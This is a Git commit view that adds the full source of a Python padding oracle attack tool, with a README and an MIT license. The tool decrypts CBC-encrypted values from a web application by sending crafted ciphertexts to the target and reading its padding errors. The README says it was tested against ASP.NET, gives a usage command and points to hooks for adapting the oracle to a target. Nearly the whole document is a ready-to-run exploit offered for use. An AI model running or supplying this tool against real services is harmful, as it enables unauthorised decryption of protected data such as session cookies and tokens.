Skip to content

Commit 8ebd527

Browse files
committed
Initial commit
0 parents  commit 8ebd527

File tree

3 files changed

+262
-0
lines changed

3 files changed

+262
-0
lines changed

LICENSE

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
The MIT License (MIT)
2+
3+
Copyright (c) 2016 Martial Puygrenier
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE

README.md

Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
# Padding Oracle Attack
2+
3+
An exploit for the [Padding Oracle Attack](http://en.wikipedia.org/wiki/Padding_oracle). Tested against ASP.NET, works like a charm. The CBC mode must use [PKCS7](https://en.wikipedia.org/wiki/Padding_%28cryptography%29#PKCS7) for the padding block.
4+
This is an implementation of this great article [Padding Oracle Attack](https://not.burntout.org/blog/Padding_Oracle_Attack/). I advise you to read it if you want to understant the basic principal of the attack.
5+
This exploit allow block size of 8 or 16 this mean it can be use even if the cipher use AES or DES.
6+
7+
## Options
8+
9+
```
10+
usage: exploit.py [-h] -c CIPHER -l LENGTH_BLOCK_CIPHER --host HOST -u
11+
URLTARGET --error ERROR [--iv IV] [--cookie COOKIE]
12+
[--method METHOD] [--post POST] [-v]
13+
```
14+
Details required options:
15+
```
16+
-h help
17+
-c cipher chain
18+
-l length of a block example: 8 or 16
19+
-u UrlTarget for example: ?/page=
20+
--host hostname example: google.fr
21+
--error Error that the orcale give you for a wrong padding
22+
example: with HTTP method: 200,400,500
23+
with DOM HTML : "<h2>Padding Error</h2>"
24+
```
25+
Optionnal options:
26+
```
27+
--iv The IV of the cipher if you have it, otherwise the first block will not be decipher
28+
--cookie Cookie parameter example: PHPSESSID=9nnvje7p90b507shfmb94d7
29+
--method Default GET methode but can se POST etc
30+
--post POST parameter if you need example 'user':'value', 'pass':'value'
31+
```
32+
33+
Example:
34+
```
35+
python exploit.py -c E3B3D1120F999F4CEF945BA8B9326D7C3C8A8B02178E59AF506666542AB5EF44 -l 16 --host host.com -u /index.aspx?c= -v --error "Padding Error"
36+
```
37+
38+
## Customisation
39+
40+
> I wan to custom the Oracle !
41+
42+
No problem, find these line and do what you have to do :)
43+
44+
* Custom oracle response:
45+
```
46+
####################################
47+
# CUSTOM YOUR RESPONSE ORACLE HERE #
48+
####################################
49+
''' the function you want change to adapte the result to your problem '''
50+
def test_validity(response,error):
51+
try:
52+
value = int(error)
53+
if int(response.status) == value:
54+
return 1
55+
except ValueError:
56+
pass # it was a string, not an int.
57+
58+
# oracle repsonse with data in the DOM
59+
data = response.read()
60+
if data.find(error) == -1:
61+
return 1
62+
return 0
63+
```
64+
65+
* Custom oracle call (HTTP)
66+
```
67+
################################
68+
# CUSTOM YOUR ORACLE HTTP HERE #
69+
################################
70+
def call_oracle(host,cookie,url,post,method,up_cipher):
71+
if post:
72+
params = urllib.urlencode({post})
73+
else:
74+
params = urllib.urlencode({})
75+
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain", 'Cookie': cookie}
76+
conn = httplib.HTTPConnection(host)
77+
conn.request(method, url + up_cipher, params, headers)
78+
response = conn.getresponse()
79+
return conn, response
80+
```

exploit.py

Lines changed: 161 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
#! /usr/bin/python
2+
3+
'''
4+
Padding Oracle Attack implementation of this article https://not.burntout.org/blog/Padding_Oracle_Attack/
5+
Author: mpgn <[email protected]>
6+
Date: 2016
7+
'''
8+
9+
import argparse
10+
import httplib, urllib
11+
import re
12+
import binascii
13+
import sys
14+
import logging
15+
import time
16+
from binascii import unhexlify, hexlify
17+
from itertools import cycle, izip
18+
19+
####################################
20+
# CUSTOM YOUR RESPONSE ORACLE HERE #
21+
####################################
22+
''' the function you want change to adapte the result to your problem '''
23+
def test_validity(response,error):
24+
25+
try:
26+
value = int(error)
27+
if int(response.status) == value:
28+
return 1
29+
except ValueError:
30+
pass # it was a string, not an int.
31+
32+
# oracle repsonse with data in the DOM
33+
data = response.read()
34+
if data.find(error) == -1:
35+
return 1
36+
return 0
37+
38+
################################
39+
# CUSTOM YOUR ORACLE HTTP HERE #
40+
################################
41+
def call_oracle(host,cookie,url,post,method,up_cipher):
42+
if post:
43+
params = urllib.urlencode({post})
44+
else:
45+
params = urllib.urlencode({})
46+
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain", 'Cookie': cookie}
47+
conn = httplib.HTTPConnection(host)
48+
conn.request(method, url + up_cipher, params, headers)
49+
response = conn.getresponse()
50+
return conn, response
51+
52+
# the exploit don't need to touch this part
53+
# split the cipher in len of size_block
54+
def split_len(seq, length):
55+
return [seq[i:i+length] for i in range(0, len(seq), length)]
56+
57+
''' create custom block for the byte with search'''
58+
def block_search_byte(size_block, i, pos, l):
59+
hex_char = hex(pos).split('0x')[1]
60+
return "00"*(size_block-(i+1)) + ("0" if len(hex_char)%2 != 0 else '') + hex_char + ''.join(l)
61+
62+
''' create custom block for the padding'''
63+
def block_padding(size_block, i):
64+
l = []
65+
for t in range(0,i+1):
66+
l.append(("0" if len(hex(i+1).split('0x')[1])%2 != 0 else '') + (hex(i+1).split('0x')[1]))
67+
return "00"*(size_block-(i+1)) + ''.join(l)
68+
69+
def hex_xor(s1,s2):
70+
return hexlify(''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(unhexlify(s1), cycle(unhexlify(s2)))))
71+
72+
def run(cipher,size_block,host,url,cookie,method,post,iv,error):
73+
found = False
74+
valide_value = []
75+
result = []
76+
len_block = size_block*2
77+
cipher_block = split_len(cipher, len_block)
78+
79+
if iv != '':
80+
cipher_block.insert(0,iv)
81+
82+
if len(cipher_block) == 1 and iv == '':
83+
print "[-] Abort there is only one block but no IV"
84+
sys.exit()
85+
#for each cipher_block
86+
for block in reversed(range(1,len(cipher_block))):
87+
if len(cipher_block[block]) != len_block:
88+
print "[-] Abort length block doesn't match the size_block"
89+
break
90+
print "[+] Search value block : ", block
91+
#for each byte of the block
92+
for i in range(0,size_block):
93+
# test each byte max 255
94+
for ct_pos in range(0,256):
95+
# 1 xor 1 = 0 or valide padding need to be checked
96+
if ct_pos != i+1 or (len(valide_value) > 0 and int(valide_value[len(valide_value)-1],16) == ct_pos):
97+
98+
bk = block_search_byte(size_block, i, ct_pos, valide_value)
99+
bp = cipher_block[block-1]
100+
bc = block_padding(size_block, i)
101+
if args.verbose == True:
102+
print "[+] Block M_Byte : %s"% bk
103+
print "[+] Block C_{i-1}: %s"% bp
104+
print "[+] Block Padding: %s"% bc
105+
106+
tmp = hex_xor(bk,bp)
107+
cb = hex_xor(tmp,bc).upper()
108+
109+
up_cipher = cb + cipher_block[block]
110+
print "[+] Test [Byte ",''.join('%02i'% ct_pos),"/256 - Block",block,"]: ", up_cipher
111+
print ''
112+
#time.sleep(0.5)
113+
114+
# we call the oracle, our god
115+
connection, response = call_oracle(host,cookie,url,post,method,up_cipher)
116+
if args.verbose == True:
117+
print "[+] HTTP ", response.status, response.reason
118+
119+
if test_validity(response,error):
120+
found = True
121+
connection.close()
122+
123+
# data analyse
124+
value = re.findall('..',bk)
125+
valide_value.insert(0,value[size_block-(i+1)])
126+
print "[+] Found", i+1, "bytes :", ''.join(valide_value)
127+
print ''
128+
129+
# change byte of the block
130+
#sys.exit()
131+
break
132+
if found == False:
133+
print "[-] Error decryption failed"
134+
sys.exit()
135+
found = False
136+
137+
result.insert(0, ''.join(valide_value))
138+
valide_value = []
139+
140+
print ''
141+
hex_r = ''.join(result)
142+
print "[+] Decrypted value (HEX):", hex_r.upper()
143+
padding = int(hex_r[len(hex_r)-2:len(hex_r)],16)
144+
print "[+] Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex")
145+
146+
if __name__ == '__main__':
147+
148+
parser = argparse.ArgumentParser(description='Poc of BEAST attack')
149+
parser.add_argument('-c', "--cipher", required=True, help='cipher you want to decrypt')
150+
parser.add_argument('-l', '--length_block_cipher', required=True, type=int, help='lenght of a block cipher: 8,16')
151+
parser.add_argument("--host", required=True, help='url example: /page=')
152+
parser.add_argument('-u', "--urltarget", required=True, help='url example: /page=')
153+
parser.add_argument('--error', required=True, help='Error that oracle give us example: 404,500,200 OR in the dom example: "<h2>Padding Error<h2>"')
154+
parser.add_argument('--iv', help='IV of the CBC cipher mode', default="")
155+
parser.add_argument('--cookie', help='Cookie example: PHPSESSID=9nnvje7p90b507shfmb94d7', default="")
156+
parser.add_argument('--method', help='Type methode like POST GET default GET', default="GET")
157+
parser.add_argument('--post', help="POST data example: 'user':'value', 'pass':'value'", default="")
158+
parser.add_argument('-v', "--verbose", help='debug mode, you need a large screen', action="store_true")
159+
args = parser.parse_args()
160+
161+
run(args.cipher, args.length_block_cipher, args.host, args.urltarget, args.cookie, args.method, args.post, args.iv, args.error)

0 commit comments

Comments
 (0)